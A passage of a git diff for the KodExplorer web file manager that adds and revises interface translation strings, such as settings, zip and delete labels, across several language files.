"kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Conectați-vă", "guest_login" => "Sign musafir", "username" => "Nume utilizator", @@ -251,6 +254,13 @@ return array( "login_code" => "coduri", "need_check_code" => "Codul de conectare de autentificare deschis", "login_rember_password" => "Amintiți-vă parola", + "setting_clear_user_recycle" => "Goliți coșul de gunoi pentru toți utilizatorii", + "setting_clear_cache" => "Goliți memoria cache", + "setting_icp" => "Drepturi de autor sau de înregistrare număr", + "setting_global_css" => "css personalizat la nivel mondial", + "setting_global_css_desc" => "Toate paginile vor insera css personalizate", + "setting_global_html" => "Codul HTML statistic", + "setting_global_html_desc" => "Toate paginile vor fi inserate în acest cod HTML paragraf, codul poate fi plasat terță parte de statistici", "us" => "kalcaddle.com", "login_not_null" => "Numele de utilizator și parola nu poate fi gol!", "code_error" => "coduri de eroare", @@ -261,6 +271,7 @@ return array( "permission_edit" => "modificați permisiunile", "no_permission" => "Administratorul a dezactivat acest privilegiu!", "no_permission_ext" => "Administratorul a interzis acest tip de fișier permisiunile", + "dialog_max" => "maximaliza", "dialog_min" => "minimaliza", "dialog_min_all" => "minimizarea tuturor", "dialog_display_all" => "Afișați toate ferestrele", @@ -306,7 +317,7 @@ return array( "past" => "băț", "clone" => "Creați o copie", "cute" => "foarfece", - "cute_to" => "Se taie în ...", + "cute_to" => "Mutați în ...", "copy_to" => "Copiere în ...", "remove" => "șterge", "remove_force" => "Se îndepărtează complet", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "copac director Actualizează", "manage_folder" => "Managementul director", "close_menu" => "Închide meniul", - "zip" => "zip compresie", - "unzip" => "zip pentru a extrage ...", + "zip" => "Comprimat la ...", + "unzip" => "Pentru a extrage ...", "unzip_folder" => "Dezarhivați într-un dosar", "unzip_this" => "Se extrage la curent", - "unzip_to" => "Pentru a extrage", + "unzip_to" => "Pentru a extrage ...", + "zipview_file_big" => "Fișierul este prea mare, iar apoi se extrage operația de previzualizare!", "clipboard" => "Vizualizare Clipboard", "full_screen" => "ecran full", "folder_info_item" => "articole", @@ -344,6 +356,8 @@ return array( "moving" => "operațiune de telefonie mobilă ...", "remove_title" => "Confirmare de ștergere", "remove_info" => "Confirmare pentru a șterge elementul selectat?", + "remove_title_force" => "eliminat definitiv", + "remove_info_force" => "Sunteți sigur că doriți să ștergeți definitiv acest document?", "name_isexists" => "Greșit, numele există deja!", "install" => "instala", "width" => "lățime", @@ -417,7 +431,7 @@ return array( "download_success" => "Descărcare de succes!", "download_error" => "Descărcarea a eșuat!", "download_error_create" => "Eroare de scriere!", - "download_error_exists" => "fișier de la distanță nu există!", + "download_error_exists" => "Link la dosar nu a reușit!", "upload_error_null" => "Nu există un fișier!", "upload_error_big" => "Dimensiunea fișierului depășește limitele de server", "upload_error_move" => "Nu a reușit să se miște fișierul!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "ştergerea fișierelor", "group_role_pathinfo" => "Proprietăți fișier", "group_role_pathmove" => "Mutare (copy / cut / paste / trageți de operare)", - "group_role_zip" => "zip compresie", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "comprimare", + "group_role_unzip" => "unzip", "group_role_search" => "căutare", "group_role_filesave" => "Salvați fișierul pentru a edita", "group_role_can_upload" => "Încărcarea și descărcarea", diff --git a/config/i18n/ru/main.php b/config/i18n/ru/main.php index f8f583b..2834ea3 100755 --- a/config/i18n/ru/main.php +++ b/config/i18n/ru/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Манго облако • Проводник", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Манго облако • Проводник", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "войти", "guest_login" => "Гость Вход", "username" => "Имя пользователя", @@ -251,6 +254,13 @@ return array( "login_code" => "коды", "need_check_code" => "Код аутентификации Войти с открытым", "login_rember_password" => "Запомнить пароль", + "setting_clear_user_recycle" => "Пустые корзины для всех пользователей", + "setting_clear_cache" => "Очистить кэш", + "setting_icp" => "Авторское право или номер записи", + "setting_global_css" => "Пользовательские глобальные CSS", + "setting_global_css_desc" => "Все страницы будут вставлять пользовательские CSS", + "setting_global_html" => "Статистический код HTML", + "setting_global_html_desc" => "Все страницы будут вставлены в этом пункте HTML коде, код может быть помещена статистика сторонней", "us" => "kalcaddle.com", "login_not_null" => "Имя пользователя и пароль не может быть пустым!", "code_error" => "коды ошибок", @@ -261,6 +271,7 @@ return array( "permission_edit" => "Изменение разрешений", "no_permission" => "Администратор отключил эту привилегию!", "no_permission_ext" => "Администратор запретил этот тип прав доступа к файлам", + "dialog_max" => "максимизировать", "dialog_min" => "минимизировать", "dialog_min_all" => "Свернуть все", "dialog_display_all" => "Показать все окна", @@ -306,7 +317,7 @@ return array( "past" => "палка", "clone" => "Создать копию", "cute" => "ножницы", - "cute_to" => "Вырезать, чтобы ...", + "cute_to" => "Переместить в ...", "copy_to" => "Копировать в ...", "remove" => "удалять", "remove_force" => "Полностью удалить", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Обновить дерево каталогов", "manage_folder" => "Управление каталогом", "close_menu" => "Закрыть меню", - "zip" => "сжатие ZIP", - "unzip" => "застежка-молния для извлечения ...", + "zip" => "Сжатый, чтобы ...", + "unzip" => "Чтобы извлечь ...", "unzip_folder" => "Распаковать в папку", "unzip_this" => "Выдержка току", - "unzip_to" => "Для того, чтобы извлечь", + "unzip_to" => "Чтобы извлечь ...", + "zipview_file_big" => "Файл слишком велик, а затем извлечь операцию предварительного просмотра!", "clipboard" => "Просмотр буфера обмена", "full_screen" => "Полный экран", "folder_info_item" => "Предметы", @@ -344,6 +356,8 @@ return array( "moving" => "Мобильная работа ...", "remove_title" => "подтверждение удаления", "remove_info" => "Подтвердить, чтобы удалить выбранный элемент?", + "remove_title_force" => "Постоянно удален", + "remove_info_force" => "Вы уверены, что хотите навсегда удалить этот документ?", "name_isexists" => "Неправильно, имя уже существует!", "install" => "устанавливать", "width" => "ширина", @@ -417,7 +431,7 @@ return array( "download_success" => "Скачать Получилось!", "download_error" => "Ошибка загрузки!", "download_error_create" => "Ошибка записи!", - "download_error_exists" => "Удаленный файл не существует!", + "download_error_exists" => "Ссылка на файл не удалось!", "upload_error_null" => "Нет файла!", "upload_error_big" => "Размер файла превышает пределы сервера", "upload_error_move" => "Не удалось переместить файл!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "удаление файла", "group_role_pathinfo" => "Свойства файла", "group_role_pathmove" => "Переместить (копировать / вырезать / вставить / перетаскивания операции)", - "group_role_zip" => "сжатие ZIP", - "group_role_unzip" => "ZIP распаковать", + "group_role_zip" => "компрессия", + "group_role_unzip" => "расстегнуть молнию", "group_role_search" => "поиск", "group_role_filesave" => "Сохраните файл для редактирования", "group_role_can_upload" => "Загрузка и скачивание", diff --git a/config/i18n/si/main.php b/config/i18n/si/main.php index ff9ea33..858eb2c 100755 --- a/config/i18n/si/main.php +++ b/config/i18n/si/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "අඹ වලාකුළක් • එක්ස්ප්ලෝරර්", "kod_power_by" => " - Powered KodExplorer විසින්", "kod_name_copyright" => "අඹ වලාකුළක් • එක්ස්ප්ලෝරර්", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "ලොගින් වන්න", "guest_login" => "ආරාධිත අමුත්තා සයින්", "username" => "පරිශීලක නාමය", @@ -251,6 +254,13 @@ return array( "login_code" => "කේත", "need_check_code" => "ලොගින් වන්න සත්යාපන කේතය විවෘත", "login_rember_password" => "රහස් පදය මතක තබා ගන්න", + "setting_clear_user_recycle" => "සියළුම පරිශීලකයින් සඳහා පිළිසකර බඳුනට හිස්", + "setting_clear_cache" => "හැඹිලි හිස්", + "setting_icp" => "කතුහිමිකම හෝ වාර්තාගත", + "setting_global_css" => "අභිරුචි ගෝලීය CSS", + "setting_global_css_desc" => "සියළුම පිටු අභිරුචි CSS ඇතුල් වනු ඇත", + "setting_global_html" => "සංඛ්යාන කේතය HTML", + "setting_global_html_desc" => "සියළුම පිටු මේ ඡේදය html කේතය ඇතුළත් කළ බව කේතය තෙවන පාර්ශවීය සංඛ්යා ලේඛන ඉදිරිපත් කළ හැකි", "us" => "රුවල් ජාලය ස්ටූඩියෝ", "login_not_null" => "පරිශීලක නාමය හා මුරපදය හිස් විය නොහැක!", "code_error" => "දෝෂ කේත", @@ -261,6 +271,7 @@ return array( "permission_edit" => "අවසර වෙනස් කරන්න", "no_permission" => "පරිපාලක වරයා මෙම වරප්රසාදය අක්රිය කොට ඇත!", "no_permission_ext" => "පරිපාලක ගොනු අවසරයන් මෙම වර්ගය තහනම්", + "dialog_max" => "උපරිම", "dialog_min" => "අවම", "dialog_min_all" => "සියලු අවම", "dialog_display_all" => "කවුළු සියල්ල පෙන්වන්න", @@ -306,7 +317,7 @@ return array( "past" => "දණ්ඩ", "clone" => "පිටපතක් නිර්මාණය", "cute" => "ෂෙයාර්", - "cute_to" => "කපා ...", + "cute_to" => "වෙත ගෙන යන්න ...", "copy_to" => "පිටපත් කරන්න ...", "remove" => "Delete", "remove_force" => "සම්පූර්ණයෙන් ඉවත්", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "නැවුම් කරන්න බහලුම් වෘක්ෂය", "manage_folder" => "නාමාවලිය කළමනාකරණ", "close_menu" => "සමීප මෙනුව", - "zip" => "තැපැල් සම්පීඩන", - "unzip" => "උපුටා ගැනීම සිප් ...", + "zip" => "කිරීමට සම්පීඩිත ...", + "unzip" => "උපුටා ගැනීම ...", "unzip_folder" => "ෆෝල්ඩරයකට Unzip", "unzip_this" => "වත්මන් කිරීමට උපුටාගන්න", - "unzip_to" => "උපුටා ගැනීම", + "unzip_to" => "උපුටා ගැනීම ...", + "zipview_file_big" => "එම ගොනුව පෙරදසුනෙහි මෙහෙයුම උපුටා පසුව ලොකු වැඩියි, සහ!", "clipboard" => "දැක්ම පසුරු පුවරුවට", "full_screen" => "පූර්ණ තිරය", "folder_info_item" => "අයිතම", @@ -344,6 +356,8 @@ return array( "moving" => "ජංගම මෙහෙයුම ...", "remove_title" => "තහවුරු Delete", "remove_info" => "තෝරාගත් අයිතමය මකා දැමීමට තහවුරු?", + "remove_title_force" => "සදහටම මකා", + "remove_info_force" => "ඔබ ස්ථිර ලෙස මෙම ලේඛනය මැකීමට අවශ්යද?", "name_isexists" => "වැරදි, නම දැනටමත් පවතී!", "install" => "ස්ථාපනය", "width" => "පළල", @@ -417,7 +431,7 @@ return array( "download_success" => "සාර්ථකත්වය බාගත!", "download_error" => "බාගත කිරීම අසමත්!", "download_error_create" => "දෝෂයක් ලියන්න!", - "download_error_exists" => "දුරස්ථ ගොනු නොපවතියි!", + "download_error_exists" => "අසාර්ථක ගොනු සබැඳිය!", "upload_error_null" => "ගොනුව නැත!", "upload_error_big" => "ගොනු විශාලත්වය සේවාදායකය සීමාවන් ඉක්මවා", "upload_error_move" => "ගොනුව ගමන් කිරීම අසාර්ථක විය!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "ගොනු මකා දැමීමට", "group_role_pathinfo" => "ගොනුව දේපළ", "group_role_pathmove" => "Move (copy / සැපයුම අත්හිටුවන / පේස්ට් / රෝධය මෙහෙයුම)", - "group_role_zip" => "තැපැල් සම්පීඩන", - "group_role_unzip" => "තැපැල් unzip", + "group_role_zip" => "සම්පීඩන", + "group_role_unzip" => "Unzip", "group_role_search" => "සොයන්න", "group_role_filesave" => "සංස්කරණය කිරීමට ගොනුව සුරකින්න", "group_role_can_upload" => "අප්ලෝඩින් සහ ඩවුන්ලෝඩින්", diff --git a/config/i18n/sk/main.php b/config/i18n/sk/main.php index 691cea2..ab27329 100755 --- a/config/i18n/sk/main.php +++ b/config/i18n/sk/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango cloud • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango cloud • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Prihlásiť", "guest_login" => "sign", "username" => "užívateľské meno", @@ -251,6 +254,13 @@ return array( "login_code" => "kódy", "need_check_code" => "Vstup autentifikačný kód open", "login_rember_password" => "zapamätať heslo", + "setting_clear_user_recycle" => "Vysypať kôš pre všetkých užívateľov", + "setting_clear_cache" => "Vyprázdniť vyrovnávaciu pamäť", + "setting_icp" => "Autorských práv alebo číslo záznamu", + "setting_global_css" => "Custom globálne css", + "setting_global_css_desc" => "Všetky stránky vloží vlastný css", + "setting_global_html" => "Štatistický kód HTML", + "setting_global_html_desc" => "Všetky stránky bude vložená do tohto odseku html kód, kód môže byť umiestnený štatistiky tretích strán", "us" => "kalcaddle.com", "login_not_null" => "Užívateľské meno a heslo nemôže byť prázdny!", "code_error" => "chybové kódy", @@ -261,6 +271,7 @@ return array( "permission_edit" => "upraviť oprávnenie", "no_permission" => "Administrátor zablokoval túto výsadu!", "no_permission_ext" => "Administrátor zakázal tento typ oprávnenia k súborom", + "dialog_max" => "maximalizovať", "dialog_min" => "minimalizovať", "dialog_min_all" => "minimalizovať všetky", "dialog_display_all" => "Zobrazuje všetky okná", @@ -306,7 +317,7 @@ return array( "past" => "palicu", "clone" => "Je možné vytvoriť kópiu", "cute" => "strihať", - "cute_to" => "Strih na ...", + "cute_to" => "Presunúť do ...", "copy_to" => "Kopírovať do ...", "remove" => "vymazať", "remove_force" => "úplne odstrániť", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Aktualizovať adresárový strom", "manage_folder" => "Directory management", "close_menu" => "zavrieť výber", - "zip" => "kompresie zips", - "unzip" => "zip extrahovať ...", + "zip" => "Zatlačený na ...", + "unzip" => "Ak chcete extrahovať ...", "unzip_folder" => "Rozbalenie súborov do zložky", "unzip_this" => "Rozbaliť do prúdu", - "unzip_to" => "Ak chcete extrahovať", + "unzip_to" => "Ak chcete extrahovať ...", + "zipview_file_big" => "Súbor je príliš veľký, a potom extrahovať náhľad operácia!", "clipboard" => "výhľad Schránka", "full_screen" => "Full Screen", "folder_info_item" => "predmety", @@ -344,6 +356,8 @@ return array( "moving" => "Mobilná prevádzka ...", "remove_title" => "zmazať Potvrdenie", "remove_info" => "Potvrdiť zmazať vybranú položku?", + "remove_title_force" => "trvalo odstránené", + "remove_info_force" => "Naozaj chcete natrvalo zmazať tento dokument?", "name_isexists" => "Zlé meno už existuje!", "install" => "inštalovať", "width" => "šírka", @@ -417,7 +431,7 @@ return array( "download_success" => "Na stiahnutie úspech!", "download_error" => "Stiahnutie zlyhalo!", "download_error_create" => "Write chyba!", - "download_error_exists" => "Vzdialený súbor neexistuje!", + "download_error_exists" => "Odkaz na súbor zlyhal!", "upload_error_null" => "Žiadny súbor!", "upload_error_big" => "Veľkosť súboru prekračuje limit servera", "upload_error_move" => "Nepodarilo sa presunúť súbor!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "odstránenie súboru", "group_role_pathinfo" => "vlastnosti súboru", "group_role_pathmove" => "Move (copy / cut / paste / drag prevádzka)", - "group_role_zip" => "kompresie zips", - "group_role_unzip" => "zips unzip", + "group_role_zip" => "kompresia", + "group_role_unzip" => "rozopnúť zips", "group_role_search" => "vyhľadávanie", "group_role_filesave" => "Uložte súbor upravovať", "group_role_can_upload" => "Nahrávanie a sťahovanie", diff --git a/config/i18n/sl/main.php b/config/i18n/sl/main.php index d081765..cd9b4d1 100755 --- a/config/i18n/sl/main.php +++ b/config/i18n/sl/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango oblak • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango oblak • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Prijava", "guest_login" => "Gost Prijava", "username" => "Uporabniško ime", @@ -251,6 +254,13 @@ return array( "login_code" => "kode", "need_check_code" => "Prijava pristnosti koda odprta", "login_rember_password" => "Zapomni si geslo", + "setting_clear_user_recycle" => "Izpraznite koš za vse uporabnike", + "setting_clear_cache" => "Izpraznite predpomnilnik", + "setting_icp" => "Copyright ali rekordno število", + "setting_global_css" => "Meri globalno css", + "setting_global_css_desc" => "Vse strani bo dodala meri CSS", + "setting_global_html" => "Statistični kode HTML", + "setting_global_html_desc" => "Vse strani bodo vključene v tem odstavku html kodo, lahko kodo dati statistike tretjih oseb", "us" => "kalcaddle.com", "login_not_null" => "Uporabniško ime in geslo ne more biti prazno!", "code_error" => "kode napak", @@ -261,6 +271,7 @@ return array( "permission_edit" => "spreminjanje dovoljenj", "no_permission" => "Administrator je onemogočil ta privilegij!", "no_permission_ext" => "Administrator prepovedala to vrsto dovoljenja datotek", + "dialog_max" => "Povečajte", "dialog_min" => "čim bolj zmanjšati", "dialog_min_all" => "čim bolj zmanjšati vse", "dialog_display_all" => "Prikaži vsa okna", @@ -306,7 +317,7 @@ return array( "past" => "Stick", "clone" => "Ustvari kopijo", "cute" => "Shear", - "cute_to" => "Razrezani v ...", + "cute_to" => "Premik k ...", "copy_to" => "Kopiraj v ...", "remove" => "Brisanje", "remove_force" => "popolnoma odstraniti", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Osveži imenik drevo", "manage_folder" => "Imenik upravljanje", "close_menu" => "Zapri meni", - "zip" => "stiskanje zip", - "unzip" => "zip citat ...", + "zip" => "Stisnjen k ...", + "unzip" => "Za pridobivanje ...", "unzip_folder" => "Razširite v mapo", "unzip_this" => "Izvleček na tok", - "unzip_to" => "za pridobivanje", + "unzip_to" => "Za pridobivanje ...", + "zipview_file_big" => "Datoteka je prevelika, lahko potegnemo operacija predogled!", "clipboard" => "Poglej odložišče", "full_screen" => "Full Screen", "folder_info_item" => "predmeti", @@ -344,6 +356,8 @@ return array( "moving" => "Mobilna uporaba ...", "remove_title" => "Brisanje Potrditev", "remove_info" => "Potrdite izbrisati izbrani element?", + "remove_title_force" => "trajno izbrisani", + "remove_info_force" => "Ste prepričani, da želite, da ta dokument trajno izbrisati?", "name_isexists" => "Narobe, ime že obstaja!", "install" => "namestitev", "width" => "širina", @@ -417,7 +431,7 @@ return array( "download_success" => "Naložite uspeh!", "download_error" => "Prenos ni uspel!", "download_error_create" => "Napiši napake!", - "download_error_exists" => "Oddaljena datoteka ne obstaja!", + "download_error_exists" => "Povezavo do datoteke ni uspelo!", "upload_error_null" => "Ni datoteke!", "upload_error_big" => "Velikost datoteke presega omejitve strežnika", "upload_error_move" => "Ni bilo mogoče premakniti datoteke!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "brisanje datotek", "group_role_pathinfo" => "Lastnosti datotek", "group_role_pathmove" => "Move (copy / cut / paste / upor delovanje)", - "group_role_zip" => "stiskanje zip", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "Stiskanje", + "group_role_unzip" => "Razširite", "group_role_search" => "Iskanje", "group_role_filesave" => "Shranite datoteko za urejanje", "group_role_can_upload" => "Nalaganje in nalaganje", diff --git a/config/i18n/sr/main.php b/config/i18n/sr/main.php index e56637d..f314ccc 100755 --- a/config/i18n/sr/main.php +++ b/config/i18n/sr/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Манго облак • Екплорер", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Манго облак • Екплорер", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "лог ин", "guest_login" => "Гост Пријава", "username" => "корисничко име", @@ -251,6 +254,13 @@ return array( "login_code" => "кодови", "need_check_code" => "Пријава Аутхентицатион Цоде отворен", "login_rember_password" => "Запамти лозинку", + "setting_clear_user_recycle" => "Испразните корпе за отпатке за све кориснике", + "setting_clear_cache" => "Испразните кеш меморију", + "setting_icp" => "Ауторска права или матични број", + "setting_global_css" => "Цустом глобална ЦСС", + "setting_global_css_desc" => "Све странице ће убацити прилагођени ЦСС", + "setting_global_html" => "Статистички ХТМЛ код", + "setting_global_html_desc" => "Све странице ће бити убачен у овом ставу хтмл код, код се може поставити статистику независних", "us" => "kalcaddle.com", "login_not_null" => "Корисничко име и лозинка не може бити празна!", "code_error" => "kodovi грешака", @@ -261,6 +271,7 @@ return array( "permission_edit" => "мјењање", "no_permission" => "Администратор је онемогућио ту привилегију!", "no_permission_ext" => "Администратор забранио ову врсту датотека дозвола", + "dialog_max" => "Макимизе", "dialog_min" => "умањити", "dialog_min_all" => "минимизира све", "dialog_display_all" => "Схов све прозоре", @@ -306,7 +317,7 @@ return array( "past" => "штап", "clone" => "Критике копију", "cute" => "схеар", - "cute_to" => "Исећи на ...", + "cute_to" => "Пређите на ...", "copy_to" => "Копирај у ...", "remove" => "избрисати", "remove_force" => "у потпуности уклонили", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Рефресх стабло", "manage_folder" => "директоријум за управљање", "close_menu" => "zatvori мени", - "zip" => "рар компресије", - "unzip" => "рар извући ...", + "zip" => "Компримује на ...", + "unzip" => "За издвајање ...", "unzip_folder" => "Унзип у фолдер", "unzip_this" => "Екстракт на струју", - "unzip_to" => "за издвајање", + "unzip_to" => "За издвајање ...", + "zipview_file_big" => "Фајл је превелик, а затим екстракт је операција преглед!", "clipboard" => "Погледај Цлипбоард", "full_screen" => "фулл сцреен", "folder_info_item" => "Предмети", @@ -344,6 +356,8 @@ return array( "moving" => "Мобиле операција ...", "remove_title" => "Потврда брисања", "remove_info" => "Потврђују да обришете изабрану ставку?", + "remove_title_force" => "трајно избрисан", + "remove_info_force" => "Сте сигурни да желите да трајно избрисати овај документ?", "name_isexists" => "Погрешно, име већ постоји!", "install" => "инсталирати", "width" => "ширина", @@ -417,7 +431,7 @@ return array( "download_success" => "Довнлоад Суццесс!", "download_error" => "Преузимање није успело!", "download_error_create" => "Врите еррор!", - "download_error_exists" => "Даљински фајл не постоји!", + "download_error_exists" => "Линк то филе фаилед!", "upload_error_null" => "Но филе!", "upload_error_big" => "Величина прелази границе сервера", "upload_error_move" => "Фаилед то мове фајл!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "филе брисање", "group_role_pathinfo" => "Филе Пропертиес", "group_role_pathmove" => "Мове (копија / цут / пасте / Драг рад)", - "group_role_zip" => "рар компресије", - "group_role_unzip" => "рар унзип", + "group_role_zip" => "компресија", + "group_role_unzip" => "отворити рајсфешлус", "group_role_search" => "претраживање", "group_role_filesave" => "Сачувајте датотеку за уређивање", "group_role_can_upload" => "Уплоадинг и преузимање", diff --git a/config/i18n/sv/main.php b/config/i18n/sv/main.php index e5c2d2c..f782d4c 100755 --- a/config/i18n/sv/main.php +++ b/config/i18n/sv/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango moln • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango moln • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "logga in", "guest_login" => "gäst Logga", "username" => "Användarnamn", @@ -251,6 +254,13 @@ return array( "login_code" => "koder", "need_check_code" => "Logga autentiseringskoden öppen", "login_rember_password" => "Kom ihåg lösenord", + "setting_clear_user_recycle" => "Töm papperskorgen för alla användare", + "setting_clear_cache" => "Töm cache", + "setting_icp" => "Upphovsrätt eller rekordstort", + "setting_global_css" => "Anpassad global css", + "setting_global_css_desc" => "Alla sidor kommer att sätta egna css", + "setting_global_html" => "Statistisk kod HTML", + "setting_global_html_desc" => "Alla sidor kommer att införas i denna punkt html-kod, kan koden placeras statistik från tredje part", "us" => "Segel Network Studios", "login_not_null" => "Användarnamn och lösenord kan inte vara tomt!", "code_error" => "felkoder", @@ -261,6 +271,7 @@ return array( "permission_edit" => "ändra behörigheter", "no_permission" => "Administratör har inaktiverat detta privilegium!", "no_permission_ext" => "Administratör förbjudit denna typ av filrättigheter", + "dialog_max" => "maximera", "dialog_min" => "minimera", "dialog_min_all" => "minimera alla", "dialog_display_all" => "Visa alla fönster", @@ -306,7 +317,7 @@ return array( "past" => "Stick", "clone" => "Skapa en kopia", "cute" => "skjuvning", - "cute_to" => "Klipp till ...", + "cute_to" => "Flytta till ...", "copy_to" => "Kopiera till ...", "remove" => "Radera", "remove_force" => "helt ta bort", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Uppdatera katalogträd", "manage_folder" => "Directory Management", "close_menu" => "Stäng meny", - "zip" => "ZIP-komprimering", - "unzip" => "zip för att extrahera ...", + "zip" => "Komprimeras till ...", + "unzip" => "För att extrahera ...", "unzip_folder" => "Zippa upp till en mapp", "unzip_this" => "Extrahera till den aktuella", - "unzip_to" => "För att extrahera", + "unzip_to" => "För att extrahera ...", + "zipview_file_big" => "Filen är för stor, och sedan extrahera förhandsvisning drift!", "clipboard" => "vy Urklipp", "full_screen" => "Fullskärm", "folder_info_item" => "objekt", @@ -344,6 +356,8 @@ return array( "moving" => "Mobil drift ...", "remove_title" => "Radera Bekräftelse", "remove_info" => "Bekräfta att radera det valda objektet?", + "remove_title_force" => "permanent", + "remove_info_force" => "Du säker på att du vill ta bort det här dokumentet?", "name_isexists" => "Fel, finns namnet redan!", "install" => "installera", "width" => "bredd", @@ -417,7 +431,7 @@ return array( "download_success" => "Ladda ner framgång!", "download_error" => "Hämta misslyckades!", "download_error_create" => "Skrivfel!", - "download_error_exists" => "Fjärrfilen finns inte!", + "download_error_exists" => "Länk till fil misslyckades!", "upload_error_null" => "Ingen fil!", "upload_error_big" => "Filstorleken överskrider server gränser", "upload_error_move" => "Det gick inte att flytta filen!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "borttagning av filer", "group_role_pathinfo" => "Filegenskaper", "group_role_pathmove" => "Flytta (kopiera / klippa / klistra / dragning)", - "group_role_zip" => "ZIP-komprimering", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "kompression", + "group_role_unzip" => "unzip", "group_role_search" => "sök", "group_role_filesave" => "Spara filen för att redigera", "group_role_can_upload" => "Uppladdning och nedladdning", diff --git a/config/i18n/ta/main.php b/config/i18n/ta/main.php index 4fb9bff..dc00f3a 100755 --- a/config/i18n/ta/main.php +++ b/config/i18n/ta/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "மா மேகம் • எக்ஸ்ப்ளோரர்", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "மா மேகம் • எக்ஸ்ப்ளோரர்", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "உள்நுழைய", "guest_login" => "விருந்தினர் உள்நுழைவு", "username" => "பயனர்பெயர்", @@ -251,6 +254,13 @@ return array( "login_code" => "குறியீடுகள்", "need_check_code" => "தேதி அங்கீகார குறியீடு திறந்த", "login_rember_password" => "கடவுச்சொல்லை நினைவில்", + "setting_clear_user_recycle" => "அனைத்து பயனர்களும் மறுசுழற்சி தொட்டிக்கு காலி", + "setting_clear_cache" => "கேச் காலி", + "setting_icp" => "பதிப்புரிமை அல்லது பதிவு எண்", + "setting_global_css" => "விருப்ப உலக CSS", + "setting_global_css_desc" => "அனைத்து பக்கங்கள் விருப்ப CSS நுழைக்கும்", + "setting_global_html" => "புள்ளி HTML ஆல்", + "setting_global_html_desc" => "அனைத்து பக்கங்கள் இந்த பத்தி HTML குறியீடு உள்ள செருகிய வேண்டும், குறியீடு மூன்றாம் தரப்பு புள்ளி வைக்கப்படும்", "us" => "kalcaddle.com", "login_not_null" => "பயனர்பெயர் மற்றும் பாஸ்வேர்டு வெறுமையாக இருக்க முடியாது!", "code_error" => "பிழை குறியீடுகள்", @@ -261,6 +271,7 @@ return array( "permission_edit" => "அனுமதிகளை மாற்று", "no_permission" => "நிர்வாகி இந்த சலுகை முடக்கியுள்ளது!", "no_permission_ext" => "நிர்வாகி கோப்பு அனுமதிகளை இந்த வகை தடை", + "dialog_max" => "பெருக்குங்கள்", "dialog_min" => "குறைத்தல்", "dialog_min_all" => "அனைத்து குறைத்தல்", "dialog_display_all" => "எல்லா சாளரங்களையும் காட்டாது", @@ -306,7 +317,7 @@ return array( "past" => "ஸ்டிக்", "clone" => "நகலை உருவாக்கு", "cute" => "பெயர்ச்சி", - "cute_to" => "வெட்டி ...", + "cute_to" => "நகர்த்து ...", "copy_to" => "நகலெடு ...", "remove" => "நீக்கு", "remove_force" => "முற்றிலும் நீக்க", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "புதுப்பிப்பு அடைவு கிளை", "manage_folder" => "ஏற்கனவே மேலாண்மை", "close_menu" => "மூடு பட்டி", - "zip" => "ZIP சுருக்க", - "unzip" => "பிரித்தெடுக்க ZIP ...", + "zip" => "அழுத்தப்பட்ட ...", + "unzip" => "பிரித்தெடுக்க ...", "unzip_folder" => "ஒரு கோப்புறையில் விரிவாக்கு", "unzip_this" => "தற்போதைய பிரித்தெடுக்க", - "unzip_to" => "பிரித்தெடுக்க", + "unzip_to" => "பிரித்தெடுக்க ...", + "zipview_file_big" => "கோப்பு மிகவும் பெரியது, பின்னர் முன்னோட்ட அறுவை 